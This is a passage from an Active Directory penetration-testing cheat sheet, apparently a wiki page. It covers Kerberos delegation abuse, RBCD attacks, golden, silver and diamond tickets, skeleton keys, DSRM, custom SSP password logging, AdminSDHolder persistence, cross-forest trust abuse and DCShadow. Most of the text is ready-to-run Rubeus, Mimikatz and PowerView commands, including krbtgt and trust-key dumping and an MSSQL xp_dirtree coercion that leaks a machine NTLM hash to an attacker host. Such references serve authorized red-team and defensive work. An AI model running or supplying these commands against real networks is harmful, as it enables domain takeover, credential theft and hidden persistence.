python3 krbrelayx.py -hashes :2B576ACBE6BCFDA7294D6BD18041B8FE -dc-ip dc.domain.local

#Trigger the coercion
.\PetitPotam.exe <attacker_ip> <target_IP>
```

Constrained delegation

In this situation, the computer in delegation has a list of services where it can delegate an authentication. This is controlled by `msDS-AllowedToDelegateTo` attribute that contains a list of SPNs to which the user tokens can be forwarded. No ticket is stored in LSASS.

To impersonate the user, Service for User (S4U) extension is used which provides two extensions:

- Service for User to Self (**S4U2self**) - Allows a service to obtain a forwardable TGS to itself on behalf of a user with just the user principal name without supplying a password. The service account must have the **TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION** – T2A4D UserAccountControl attribute.
- Service for User to Proxy (**S4U2proxy**) - Allows a service to obtain a TGS to a second service on behalf of a user.

Enumerate principals with CD enabled

```
#Powerview
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

#AD Module
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
```

With protocol transition

Any service can be specified on the target since it is not correctly checked. All the Rubeus commands can be performed with kekeo aswell.

- Request a ticket for multiple services on the target, for another user (S4U)

```
.\Rubeus.exe s4u /user:user1 /rc4:<hash> /impersonateuser:Administrator
/msdsspn:"time/<target>.domain.local" /altservice:ldap,cifs /ptt
```

If we have a session as the user, we can just run `.\Rubeus.exe tgtdeleg /nowrap` to get the TGT in Base64, then run:

```
.\Rubeus.exe s4u /ticket:doIFCDC[SNIP]E9DQUw= /impersonateuser:Administrator
/domain:domain.local /msdsspn:"time/<target>.domain.local" /altservice:ldap,cifs /ptt
```

- Inject the ticket

```
Invoke-Mimikatz -Command '"kerberos::ptt ticket.kirbi"'
```

Without protocol transition

In this case, it is not possible to use **S4U2self** to obtain a forwardable ST for a specific user. This restriction can be bypassed with an RBCD attack detailled in the following section.

Resource-based constrained delegation

Wagging the Dog

With RBCD, this is the resource machine (the machine that receives delegation) which has a list of services that can delegate to it. This list is specified in the attribute `msds-allowedtoactonbehalfofotheridentity` and the computer can modified its own attribute (really usefull in NTLM relay attack scenario).

Requirements

- The DC has to be at least a **Windows Server 2012**
- Domain users can create some machines, `ms-ds-machineaccountquota` must not being to 0

```
#To verify
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local
```

- Write rights on the target machine (**GenericAll, GenericWrite, AllExtendedRights**)
- Target computer, object must not have the attribute `msds-allowedtoactonbehalfofotheridentity` set

```
Get-NetComputer ws01 | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity
```

Standard RBCD

The attaker has compromised ServiceA and want to compromise ServiceB. Additionnally he has sufficient rights to configure `msds-allowedtoactonbehalfofotheridentity` on ServiceB.

```
#Add RBCD from ServiceA to ServiceB
Set-ADComputer ServiceB -PrincipalsAllowedToDelegateToAccount ServiceA$

#Verify property
Get-NetComputer ServiceB | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity

#Get ServiceA TGT and then S4U
rubeus -x tgtdeleg /nowrap
rubeus -x s4u /user:ServiceA$ /ticket:ticket.kirbi /impersonateuser:administrator /msdsspn:host/ServiceB.domain.local /domain:domain.local /altservice:cifs,host,http,winrm,RPCSS,wsman /ptt
```

With machine account creation

- Add a fake machine account in the domain
- Add it the to `msds-allowedtoactonbehalfofotheridentity` attribute of the target machine

```
Import-Module Powermad.ps1
Import-Module PowerView.ps1

#Creds if needed, to run as another user
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('domain.local\user1', $SecPassword)

#Check requirements
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local -Credential $Cred
Get-NetComputer <target> -Domain domain.local | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity

#Add the fake machine as a ressource + get its SID
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Credential $Cred -Verbose -Domain domain.local -DomainController
```

```
DC.domain.local
Get-DomainComputer FAKE01 -Domain domain.local -Credential $Cred
$ComputerSid = Get-DomainComputer FAKE01 -Properties objectsid | Select -Expand objectsid

#Create the new raw security descriptor
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList
"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

#Add the new raw SD to msds-allowedtoactonbehalfofotheridentity
Get-DomainComputer <target> -SearchBase "LDAP://DC=domain,DC=local" -Credential $Cred | Set-
DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -SearchBase
"LDAP://DC=domain,DC=local" -Verbose -Credential $Cred

#Check if well added
$RawBytes = Get-DomainComputer <target> -Properties 'msds-
allowedtoactonbehalfofotheridentity' -Credential $Cred -SearchBase
"LDAP://DC=domain,DC=local" | select -expand msds-allowedtoactonbehalfofotheridentity
(New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes,
0).DiscretionaryAcl
```

- Use the **S4USelf** function with the fake machine (on an arbitrary SPN) to create a forwardable ticket for a wanted user (not **protected**)
- Use the **S4UProxy** function to obtain a TGS for the impersonated user for the wanted service on the target machine

```
#Calcul hash
.\Rubeus.exe hash /password:Password123! /user:FAKE01$ /domain:domain.local
#S4U attack
.\Rubeus.exe s4u /user:FAKE01$ /rc4:2B576ACBE6BCFDA7294D6BD18041B8FE
/impersonateuser:administrator /msdsspn:cifs/<target> /domain:domain.local /ptt
/dc:DC.domain.local
```

Skip S4USelf

- Attacker has compromised Service A, has sufficient ACLs against Service B to configure RBCD, and wants to attack Service B
- By social engineering or any other solution, an interesting victim authenticates to Service A with a TGS
- Attacker dumps the TGS on Service A (`sekurlsa::tickets`)

- Attacker configures RBCD from Service A to Service B as above
- Attacker performs S4UProxy and bypass S4USelf by providing the TGS as evidence

```
.\Rubeus.exe s4u /user:ServiceA$ /aes256:<service_key> /tgs:"/path/to/kirbi"
/msdsspn:cifs/serviceB.domain.local /domain:domain.local /ptt /dc:DC.domain.local
```

Reflective RBCD

With a TGT or the hash of a service account, an attacker can configure a RBCD from the service to itself, a run a full S4U to access the machine on behalf of another user.

```
Set-ADComputer ServiceA -PrincipalsAllowedToDelegateToAccount ServiceA$
.\Rubeus.exe s4u /user:ServiceA$ /aes256:<service_key> /impersonateuser:Administrator
/msdsspn:cifs/serviceA.domain.local /domain:domain.local /ptt /dc:DC.domain.local
```

Impersonate protected user via S4USelf request

It is possible to impersonate a **protected user** with the **S4USelf** request if we have a TGT (or the creds) of the target machine (for example from an **Unconstrained Delegation**).

With the target TGT it is possible to realise a S4USelf request for any user and obtain a TGS for the service. In case where the needed user is protected against delegation, S4USelf will still work, but the TGS is not forwardable (so no S4UProxy possible) and the specified SPN is invalid...however, the SPN is not in the encrypted part of the ticket. So it is possible to modify the SPN and retrieve a valid TGS for the target service with a sensitive user (and the TGS PAC is well signed by the KDC).

```
.\Rubeus.exe s4u /self /impersonateuser:Administrator /ticket:doIFFz[...SNIP...]TE9DQUw=
/domain:domain.local /altservice:cifs/server.domain.local /ptt
```

Bypass Constrained Delegation restrictions with RBCD

- Attacker compromises **ServiceA** and **ServiceB**
- ServiceB is allowed to delegate to `time/ServiceC` (the target) without protocol transition (no S4USelf)
- Attacker configures RBCD from ServiceA to ServiceB and performs a full S4U attack to obtain a forwardable TGS for the Administrator to ServiceB
- Attacker reuses this forwardable TGS as evidence to realise a S4UProxy attack from ServiceB to `time/ServiceC`
- Since the service is not protected in the obtained ticket, the attacker can change the TGS from the previous S4UProxy execution to `cifs/ServiceC`

```
#RBCD from A to B
```

```
Set-ADComputer ServiceB -PrincipalsAllowedToDelegateToAccount ServiceA$
.\Rubeus.exe s4u /user:ServiceA$ /aes256:<serviceA_key> /impersonateuser:Administrator
/msdsspn:cifs/serviceB.domain.local /domain:domain.local /dc:DC.domain.local

#S4UProxy from B to C with the obtained TGS as evidence
.\Rubeus.exe s4u /user:ServiceB$ /aes256:<serviceB_key> /tgs:<obtained_TGS>
/msdsspn:time/serviceC.contoso.local /altservice:cifs /domain:domain.local
/dc:DC.domain.local /ptt
```

U2U RBCD with SPN-less accounts

In case where you have sufficient rights to configure an RBCD on a machine (for example with an unsigned authentication coerce via HTTP) but `ms-ds-machineaccountquota` equals 0, there is no ADCS with the HTTP endpoint and the Shadow Credentials attack is not possible (domain level to 2012 for example), you can realize a RBCD from a SPN-less user account. An interesting example is present here. You can follow the example in this PR.

- Configure the machine account to trust the user account you control (NTLM Relay, with the machine account's creds,...)
- Obtain a TGT for the user via pass-the-hash:

```
.\Rubeus.exe asktgt /user:user1 /rc4:<NT_hash> /nowrap
```

- Request a Service Ticket via U2U (S4USelf request) with the previous TGT specified in `/tgs:` (additional ticket added to the request body identifying the target user account) and `/ticket:` (authentication). If U2U is not used, the KDC cannot find the account's LT key when a UPN is specified instead of a SPN. The account to impersonate via the futur S4U request is also present:

```
.\Rubeus.exe asktgs /u2u /ticket:TGT.kirbi /tgs:TGT.kirbi /targetuser:Administrator /nowrap
```

- Retrieve the TGT session key in HEX format:

```
import binascii, base64
print(binascii.hexlify(base64.b64decode("<TGT_SESSION_KEY_B64>")).decode())
```

- Now, change the user's long term key (his RC4 NT hash actually) to be equal to the TGT session key. The ST sent in the S4UProxy is encrypted with the session key, but the KDC will try to decipher it with the user's long term key, this is why the LT key must be equal to the session key (**WARNING !!! The user's password is now equal to an unknown value, you have to use a sacrificial account to realise this attack**). Everything is explained here.

```
smbpasswd.py -newhashes :sessionKey 'domain.local'/'user1':'Password123!'@'DC'
```

- Realize the S4UProxy request with the previous S4USelf U2U ticket (ciphered with the session key) as additional ticket and the original TGT as ticket:

```
.\Rubeus.exe s4u /msdsspn:cifs/target.domain.local /ticket:TGT.kirbi /tgs:U2U.kirbi
```

- Finally, use this ticket to do whatever you want

RBCD from MSSQL server

If we have sufficient access to a MSSQL server we can use the `xp_dirtree` in order to leak the Net-NTLM hash of the machine account. Additionally, the **Web Service** client must be running on the machine in order to trick the authentication from SMB to HTTP and avoid the NTLM signature (authentication must be sent to `@80`):

- Create a DNS record in order to be able to leak the NTLM hash externally
- Use the `xp_dirtree` (or `xp_fileexist`) function to the created DNS record on `@80`. This will force the authentication and leak the hash
- Relay the machine hash to the LDAP server to add a controlled account (**with a SPN** for the further S4USelf request) to the `msDS-AllowedToActOnBehalfOfOtherIdentity` of the target machine
- Now we can ask a TGS for a user we want to impersonate for a service on the machine

```
#Add the DNS
Invoke-DNSUpdate -DNSType A -DNSName attacker.domain.local -DNSData <attacker_IP> -Realm
domain.local

#On our machine, waiting for the leak
#https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c
python rbcd_relay.py 192.168.24.10 domain.local 'target$' <controlledAccountWithASPN>

#ON the MSSQL server
SQLCMD -S <MSSQL_instance> -Q "exec master.dbo.xp_dirtree '\\attacker@80\a'" -U Admin -P Admin

#After the attack, ask for a TGS with full S4U
.\Rubeus.exe s4u /user:<controlled_account> /rc4:<hash> /impersonateuser:Administrator
/msdsspn:cifs/<target> /domain:domain.local /dc:DC.domain.local /ptt
```

Domain Persistence

Diamond ticket

Blog here

```
.\Rubeus.exe diamond /krbkey:<aes_krbtgt_key> /user:user1 /password:password /enctype:aes
/domain:domain.local /dc:dc.domain.local /ticketuser:Administrator /ticketuserid:<target_RID>
/groups:512 /nowrap
```

Golden ticket

Retrieve the krbtgt hash

- From the DC by dumping LSA

```
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dc
```

- With a DCSync

```
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"'
```

Create TGT

```
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local
/sid:<domain_SID> /krbtgt:<krbtgt_hash> /id:500 /groups:512 /startoffset:0 /endin:600
/renewmax:10080 /ptt"'
```

RODC Golden Ticket

In case of a RODC, it is still possible to forge a Golden Ticket but the KRBTGT's version number is needed and only the accounts allowed to authenticate can be specified in the ticket (according to the `msDS-RevealOnDemandGroup` and `msDS-NeverRevealGroup` lists).

```
.\Rubeus.exe golden /rodcNumber:<krbtgt_number> /flags:forwardable,renewable,enc_pa_rep
```

```
/nowrap /outfile:ticket.kirbi /aes256:<krbtgt_aes_key> /user:user1 /id:<user_RID>
/domain:domain.local /sid:<domain_SID>
```

Silver ticket

Create TGS

`/rc4` take the service account (generally the machine account) hash

```
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local
/sid:<domain_SID> /target:<target>.domain.local /service:CIFS /rc4:<account_hash> /ptt"'
```

Requesting a TGS with a valid TGT can be performed with **Rubeus** like this :

```
.\Rubeus.exe asktgs /ticket:tgt.kirbi /service:LDAP/dc.domain.local,cifs/dc.domain.local /ptt
```

GoldenGMSA

With the KDS root key and some information about the gMSA account (that can be retrieved with low privileges), it is possible to compute the gMSA's password.

Dump the KDS root key

This operation needs admin privs on the domain

```
#For the root domain of the forest
./GoldenGMSA.exe kdsinfo

#For a specific domain
./GoldenGMSA.exe kdsinfo --forest domain.local
```

Retrieve gMSA's information

Low privs are sufficient here

```
#All the gMSA accounts
./GoldenGMSA.exe gmsainfo
```

```
#A specific one in a specific domain
./GoldenGMSA.exe gmsainfo --sid <gmsa_SID> --domain domain.local
```

Compute the password

This operation can be realized offline

```
./GoldenGMSA.exe compute --sid <gmsa_SID> --kdskey <base64_KDS_key> --pwdid <base64_msds-ManagedPasswordID_value>
```

The output is in Base64 and the password is generally not readable. It is possible to calcul the NT hash from it instead:

```
import base64
import hashlib

b64 = "<base64_password>"
print(hashlib.new("md4", base64.b64decode(b64)).hexdigest())
```

Skeleton key

```
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName dc.domain.local
```

Now, it is possible to access any machine with a valid username and password as "mimikatz".

```
Enter-PSSession -Computername dc -Credential domain\Administrator
```

DSRM

- DSRM is Directory Services Restore Mode
- The local administrator on every DC can authenticate with the DSRM password
- It is possible to pass the hash of this user to access the DC after modifying the DC configuration

Dump DSRM password

```
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername dc
```

Change registry configuration

Need to change the logon behavior before pass the hash

```
Enter-PSSession -Computername dc
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\\" -Name
"DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
```

Now the DSRM hash ca be used to authenticate

Custom SSP

SSP are DDLs that provide ways to authenticate for the application. For example Kerberos, NTLM, WDigest, etc. Mimikatz provides a custom SSP that permits to log in a file in clear text the passwords of the users that authenticate on the machine.

- By patching LSASS (really instable since Server 2016)

```
Invoke-Mimikatz -Command '"misc::memssp"'
```

- By modifying the LSA registry

Upload the `mimilib.dll` to **system32** and add mimilib to `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages` :

```
$packages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name 'Security
Packages'| select -ExpandProperty 'Security Packages'
$packages += "mimilib"
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name 'Security Packages' -Value
$packages
```

All local logons on the DC are logged to `C:\Windows\system32\kiwissp.log`

DACLs - AdminSDHolder

AdminSDHolder is a solution that compares the ACLS of the objects with `AdminCount=1` with a list of ACLs. If the ACLs of the objects are different, they are overwritten. The script run normally every hour.

Attack

- With write privs on the AdminSDHolder object, it can be used for persistence by adding a user with Full Permissions to the AdminSDHolder object for example.
- When the automatic script will run, the user will be added with Full Control to the AC of groups like Domain Admins.

```
#PowerView
Add-ObjectAcl -TargetSearchBase 'CN=AdminSDHolder,CN=System' -PrincipalIdentity user1 -Rights All -Verbose

#AD Module
Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -Principal user1 -Verbose
```

Run SDProp manually

```
Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose
#Pre-Server 2008
Invoke-SDPropagator -taskname FixUpInheritance -timeoutMinutes 1 -showProgress -Verbose
```

Check Domain Admins DACLs

```
#PowerView
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'user1'}

#AD Module
(Get-Acl -Path 'AD:\CN=Domain Admins,CN=Users,DC=domain,DC=local').Access | ?{$_.IdentityReference -match 'user1'}
```

DACLs - Interesting rights

The ACLs can be used for persistence purpose by adding interesting rights like DCSync, FullControl over the domain, etc. Check the `On any objects` in the ACLs attacks section. Multiple rights like **All** , **DCSync**, etc, are possible.

DACLs - Security Decriptors

ACLs can be modified to allow users to access objects.

WMI

```
#On local machine
Set-RemoteWMI -UserName user1 -Verbose

#On remote machine without explicit credentials
Set-RemoteWMI -UserName user1 -ComputerName <computer> -namespace 'root\cimv2' -Verbose

#On remote machine with explicit credentials. Only root\cimv2 and nested namespaces
Set-RemoteWMI -UserName user1 -ComputerName <computer> -Credential Administrator -namespace 'root\cimv2' -Verbose

#On remote machine remove permissions
Set-RemoteWMI -UserName user1 -ComputerName <computer> -namespace 'root\cimv2' -Remove -Verbose
```

PowerShell Remoting

```
#On local machine
Set-RemotePSRemoting -UserName user1 -Verbose

#On remote machine without credentials
Set-RemotePSRemoting -UserName user1 -ComputerName <computer> -Verbose

#On remote machine, remove the permissions
Set-RemotePSRemoting -UserName user1 -ComputerName <computer> -Remove
```

Remote Registry

With the scripts from **DAMP-master**. Permits to realize some actions like credentials dump via the registry.

Cross-Trust Movement

Child to parent domain - SID History

Escalate from a child domain to the root domain of the forest by forging a Golden Ticket with the SID of the **Enterprise Admins** group in the SID history field.

With the trust key

Get the trust key, look at the `[in]` value in the result

```
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc
#OR
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\parentDomain$"'
```

Forge the inter-realm TGT :

```
Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:domain.local
/sid:<current_domain_SID> /sids:<enterprise_admins_SID> /rc4:<key> /service:krbtgt
/target:parentDomain.local /ticket:trust.kirbi"'
```

Create a TGS with the previous TGT and access service :

```
#New tools for more fun
.\asktgs.exe trust.kirbi CIFS/dc.parentDomain.local
.\kirbikator.exe lsa .\CIFS.dc.parentDomain.local.kirbi
ls \\dc.parentDomain.local\c$

#Or classicaly
.\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/dc.parentDomain.local
/dc:dc.parentDomain.local /ptt
ls \\dc.parentDomain.local\c$
```

With the krbtgt hash

Exactly the same attack, but with the krbtgt hash that can be extracted like this :

```
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
```

To avoid some suspicious logs, use multiple values can be added in SID History :

```
Invoke-Mimikatz -Command '"kerberos::golden /user:dc$ /domain:domain.local
/sid:<current_domain_SID> /groups:516 /sids:<parent_domain_SID>-516,S-1-5-9
/krbtgt:<krbtgt_hash> /ptt"'
Invoke-Mimikatz -Command '"lsadump::dcsync /user:parentDomain\Administrator
/domain:parentDomain.local"'
```

- `<parent_domain_SID>-516` – Domain Controllers
- `S-1-5-9` – Enterprise Domain Controllers

Across forest

Get the Trust Key

```
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
#Or
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
```

Get the ForeignSecurityPrincipal

When SID filtering is enabled on the trust, only these principals can access resources across the trust. If there is no filtering, an SID History attack should work.

```
#These SIDs can access to the target domain
Get-DomainObject -Domain targetDomain.local | ? {$_.objectclass -match
"foreignSecurityPrincipal"}

#The found SID can be search in the current forest
Get-DomainObject |? {$_.objectSid -match "<SID>"}
```

Forge the inter-forest TGT

For the domain admin (UID 500)

```
Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:domain.local
/sid:<current_domain_SID> /rc4:<trust_key> /service:krbtgt /target:targetDomain.local
```

```
/ticket:trust_forest.kirbi"'
```

For a specific user (with the `/id` parameter)

```
Invoke-Mimikatz -Command '"Kerberos::golden /user:user1 /domain:domain.local
/sid:<current_domain_SID> /id:<user1_RID> /rc4:<trust_key> /service:krbtgt
/target:targetDomain.local /ticket:trust_forest.kirbi"'
```

Create a TGS with the previous TGT and access service

```
#New tools for more fun
.\asktgs.exe trust_forest.kirbi CIFS/dc.targetDomain.local
.\kirbikator.exe lsa .\CIFS.dc.targetDomain.local.kirbi
ls \\dc.targetDomain.local\C$\

#Or classicaly
.\Rubeus.exe asktgs /ticket:trust_forest.kirbi /service:cifs/dc.targetDomain.local
/dc:dc.targetDomain.local /ptt
ls \\dc.targetDomain.local\C$\
```

Across forest - PAM trust

The goal is to compromise the **bastion** forest and pivot to the **production** forest to access to all the resources with a **Shadow Security Principal** mapped to a high priv group.

Check if the current forest is a bastion forest

- Enumerate trust properties

```
Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}
```

- Enumerate shadow security principals

```
Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-
ADRootDSE).configurationNamingContext) | select Name,member,msDS-ShadowPrincipalSid | fl
```

- `Name` - Name of the shadow principal
- `member` - Members from the bastion forest which are mapped to the shadow principal
- `msDS-ShadowPrincipalSid` - The SID of the principal (user or group) in the user/production forest whose privileges are assgined to the shadow security principal. In our example, it is

the Enterpise Admins group in the user forest

These users can access the production forest through the trust with classic workflow (PSRemoting, RDP, etc), or with `SIDHistory` injection since `SIDFiltering` is disabled in a **PAM Trust**.

Check if the current forest is managed by a bastion forest

```
Get-ADTrust -Filter {(ForestTransitive -eq $True)}
```

A trust attribute of `1096` is for PAM (`0x00000400`) + External Trust (`0x00000040`) + Forest Transitive (`0x00000008`).

MSSQL server

Everything is here. (*Not for the moment, refactor in progress*)

Forest Persistence - DCShadow

- DCShadow permits to create a rogue Domain Controller on a standard computer in the AD. This permits to modify objects in the AD without leaving any logs on the real Domain Controller
- The compromised machine must be in the **root domain** on the forest, and the command must be executed as DA (or similar)

The attack needs 2 instances on the compromised machine and **Mimikatz**.

- One to start RPC servers with SYSTEM privileges and specify attributes to be modified

```
#With Mimikatz
#Set SYSTEM privs to the process
!+
!processtoken
#Launch the server
lsadump::dcshadow /object:<object_to_modify> /attribute:<attribute_to_modify>
/value=<value_to_set>
```

- And second with enough privileges (DA or otherwise) to push the values :

```
sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:<hash> /impersonate
```

```
lsadump::dcshadow /push
```

Minimal permissions

DCShadow can be used with minimal permissions (and this) by modifying ACLs of :

- The domain object.
  - DS-Install-Replica (Add/Remove Replica in Domain)
  - DS-Replication-Manage-Topology (Manage Replication Topology)
  - DS-Replication-Synchronize (Replication Synchornization)
- The Sites object (and its children) in the Configuration container.
  - CreateChild and DeleteChild
- The object of the computer which is registered as a DC.
  - WriteProperty (Not Write)
- The target object.
  - WriteProperty (Not Write)

`Set-DCShadowPermissions` can be used to setup automatically

To use DCShadow as user **user1** to modify **user2** object from machine **machine-user1**

```
Set-DCShadowPermissions -FakeDC machine-user1 -SAMAccountName user2 -Username user1 -Verbose
```

Now, the **second mimkatz** instance (which runs as DA) is not required.

Set interesting attributes

Set SIDHistory to Enterprise Admin

```
lsadump::dcshadow /object:user1 /attribute:SIDHistory /value:<domain_SID>-519
```

Modify primaryGroupID

```
lsadump::dcshadow /object:user1 /attribute:primaryGroupID /value:519
```

Modify ntSecurityDescriptor for AdminSDHolder to add Full Control for a user

We just need to append a Full Control ACE from above for SY/BA/DA with our user's SID at the end.

```
#Read the current ACL of high priv groups
(New-Object
System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=domain,DC=local")
```

Get the SID of our user and append it at the end of the ACLs. Then launch DCShadow like this :

```
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=domain,DC=local
/attribute:ntSecurityDescriptor /value:<modified ACL>
```

Set a SPN on an user

```
lsadump::dcshadow /object:user1 /attribute:servicePrincipalName /value:"Legitime/User1"
```

Shadowception

We can even run DCShadow from DCShadow, which is *Shadowception* (and still this).

We need to append following ACEs with our user's SID at the end:

- On the domain object: `(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)` `(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)` `(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)`
- On the attacker computer object: `(A;;WP;;;UserSID)`
- On the target user object: `(A;;WP;;;UserSID)`
- On the Sites object in Configuration container: `(A;CI;CCDC;;;UserSID)`

Get the ACLs

Get the ACLs for the Domain Object :

```
(New-Object
System.DirectoryServices.DirectoryEntry("LDAP://DC=domain,DC=local")).psbase.ObjectSecurity.sdd
```

For the attacker machine :

```
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=machine-
user1,CN=Computers,DC=domain,DC=local")).psbase.ObjectSecurity.sddl
```

For the target user :

```
(New-Object
System.DirectoryServices.DirectoryEntry("LDAP://CN=user2,CN=Users,DC=domain,DC=local")).psbase.
```

For the Site Container :

```
(New-Object
System.DirectoryServices.DirectoryEntry("LDAP://CN=Sites,CN=Configuration,DC=domain,DC=local")).
```

Stack the queries

After have get the ACLs and have appended the new ACEs for each one, we can stack the different queries to make a big DCShadow query
For each one :

```
lsadump::dcshadow /stack /object:<object> /attribute:ntSecurityDescriptor
/value:<newACL_after_the_append>
```

Then just `lsadump::dcshadow`

DCShadow can now be run from a user DCShadow-ed

References

- The Hacker Recipes
- Pentester Academy
- PayloadAllTheThings
  - New version
- Cube0x0
- HackTricks
- Haax
- Red Teaming Experiments
- SpecterOps
- Semperis
- TrustedSec
- BloodHound
- Dirk-jan Mollema

- Snovvcrash
- Exploit.ph
- Adam Chester
- Oliver Lyak
- Wagging the Dog
- Pentestlab.blog
- Masky release
- Hack The Box

Revision #33
Created 15 June 2021 19:52:58 by BlackWasp
Updated 7 March 2023 22:45:15 by BlackWasp